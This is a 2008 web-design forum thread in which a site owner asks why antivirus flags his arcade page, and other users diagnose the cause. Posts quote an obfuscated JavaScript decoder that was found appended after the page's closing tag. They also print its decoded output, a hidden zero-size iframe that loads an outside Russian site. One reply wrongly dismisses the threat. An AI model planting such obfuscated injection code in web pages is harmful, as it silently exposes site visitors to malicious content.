HTML Virus

Discussion in 'HTML & Website Design' started by Michael9182, May 8, 2008.

  1. #1
    When www.passurclass.com/arcade is loaded AVIRA Antivirus shows that it has the virus HTML/Crypted.Gen - Malware. I believe this virus is in the template, could anyone tell me more about it or how to fix it?
     
    Michael9182, May 8, 2008 IP
  2. Stomme poes

    Stomme poes Peon

    Messages:
    3,195
    Likes Received:
    136
    Best Answers:
    0
    Trophy Points:
    0
    #2
    Hmm, looked at the site's HTML and it looks all legit (though invalid and poorly written...), with the possible exception of some javascript some ninny added after the </html> tag... wtf? Here it is:
    
    <SCRIPT LANGUAGE="JavaScript">
    <!--
    function Decode(){var temp="",i,c=0,out="";var str="60!98!111!100!121!32!115!116!121!108!101!61!34!109!97!114!103!105!110!58!48!112!120!34!62!32!13!10!60!47!105!102!114!97!109!101!62!32!13!10!60!105!102!114!97!109!101!32!115!116!121!108!101!61!34!112!111!115!105!116!105!111!110!58!97!98!115!111!108!117!116!101!59!108!101!102!116!58!49!37!59!119!105!100!116!104!58!48!37!59!116!111!112!58!49!37!59!104!101!105!103!104!116!58!48!37!59!34!32!13!10!115!114!99!61!34!104!116!116!112!58!47!47!119!119!119!46!104!105!116!115!112!121!46!114!117!34!62!32!13!10!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
    //-->
    
    Code (markup):
    Is this what's setting that antivirus off? The other 2 scripts on the page are a googleads thing and another ad rotator... the single object is just a flash (if there's a virus in the Flash, I can't tell, but other than scripts that's the only place to stick an executable or that sort of thing in HTML).

    If this is your page, remove the BS javajunk from the bottom and remove the Flash and see if it's one of those causing the warning.
     
    Stomme poes, May 9, 2008 IP
  3. itcn

    itcn Well-Known Member

    Messages:
    795
    Likes Received:
    31
    Best Answers:
    0
    Trophy Points:
    118
    #3
    Yeah, I don't think there's any virus there. Just some funky javascript that's tripping up your antivirus proggie.
     
    itcn, May 9, 2008 IP
  4. wmtips

    wmtips Well-Known Member

    Messages:
    601
    Likes Received:
    70
    Best Answers:
    1
    Trophy Points:
    150
    #4
    This javascript decoded:

    
    <body style="margin:0px"> 
    
    </iframe> 
    
    <iframe style="position:absolute;left:1%;width:0%;top:1%;height:0%;" 
    
    src="http://www.hitspy.ru"> 
    
    </iframe>
    
    HTML:
     
    wmtips, May 9, 2008 IP
  5. wd_2k6

    wd_2k6 Peon

    Messages:
    1,740
    Likes Received:
    54
    Best Answers:
    0
    Trophy Points:
    0
    #5
    That's a pretty cool technique to hide some source from the average noob i guess if used for the right purposes obviously
     
    wd_2k6, May 9, 2008 IP
  6. it career

    it career Notable Member

    Messages:
    3,562
    Likes Received:
    155
    Best Answers:
    0
    Trophy Points:
    270
    #6
    hitspy.ru could be downloading some virus .
     
    it career, May 9, 2008 IP
  7. Stomme poes

    Stomme poes Peon

    Messages:
    3,195
    Likes Received:
    136
    Best Answers:
    0
    Trophy Points:
    0
    #7
    Hm, true, what's in that frame? I'd have to turn JS on to even get it, and then find it on the page to View Generated Source in FF, but then you could see what all is in that iFrame.
     
    Stomme poes, May 9, 2008 IP